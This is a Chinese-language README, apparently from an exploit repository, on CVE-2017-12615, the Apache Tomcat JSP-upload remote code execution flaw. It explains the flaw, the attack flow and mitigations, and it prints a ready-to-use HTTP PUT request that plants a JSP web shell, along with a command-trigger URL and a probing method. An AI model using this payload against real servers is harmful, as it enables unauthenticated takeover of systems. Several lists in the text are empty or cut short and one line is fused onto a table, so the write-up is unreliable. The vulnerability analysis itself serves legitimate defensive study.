CVE-2017-12615 是一个影响 Apache Tomcat 7.0.0 至 7.0.79 在 Microsoft Windows 上运行的远程代码执行漏洞,前提是 HTTP PUT 请求已被启用。
该漏洞存在的原因是当 DefaultServlet 的 readonly 参数设置为 false 时,Tomcat 对上传的 JSP 文件处理不当。在这种情况下,未经身份验证的攻击者可以直接向 Web 服务器上传恶意 JSP 文件,并通过请求该文件执行任意 Java 代码。
由于针对配置错误的服务器进行利用极为简单,该漏洞成为最知名的 Tomcat RCE 问题之一。
readonly="false"| 度量指标 | 值 |
|---|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1(高危) |
| 攻击向量 | 网络 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响 | 远程代码执行 |
通常情况下,Apache Tomcat 会阻止用户上传可执行的 JSP 文件。
但是,当:
readonly=false)攻击者可以将 JSP 文件直接上传到 Web 根目录。
上传后,请求该 JSP 文件会导致 Tomcat 编译并执行它,从而在 Tomcat 服务权限下执行任意 Java 代码。
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
典型的攻击包含以下步骤:
.jsp Web Shell。如果服务器存在漏洞,则无需身份验证。
示例 HTTP PUT 请求:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
如果成功,服务器返回:
HTTP/1.1 201 Created
然后可以通过访问以下链接执行有效载荷:
http://victim.com/shell.jsp?cmd=whoami
识别易受攻击系统的一种简单方法是尝试上传一个无害的测试 JSP 文件:
PUT /test.jsp
可能的响应包括:
201 Created
或
204 No Content
如果上传的文件随后可以通过 HTTP 获取,那么服务器很可能存在漏洞。
成功利用后,攻击者可以:
安全团队应调查以下迹象:
.jsp 文件推荐的缓解措施包括:
readonly="true"。本仓库仅用于教育目的、防御性安全研究和授权的渗透测试。未经明确许可,请勿将本信息用于任何系统。
| 属性 | 值 |
|---|
| 漏洞类型 | 任意 JSP 上传 |
| CWE | CWE-434 - 危险类型文件的不受限上传 |
| 是否需要身份验证 | 否 |
| 利用复杂度 | 针对易受攻击配置较低 |
| 结果 | 远程代码执行 |
| 平台 | Windows |
| 服务 | Apache Tomcat |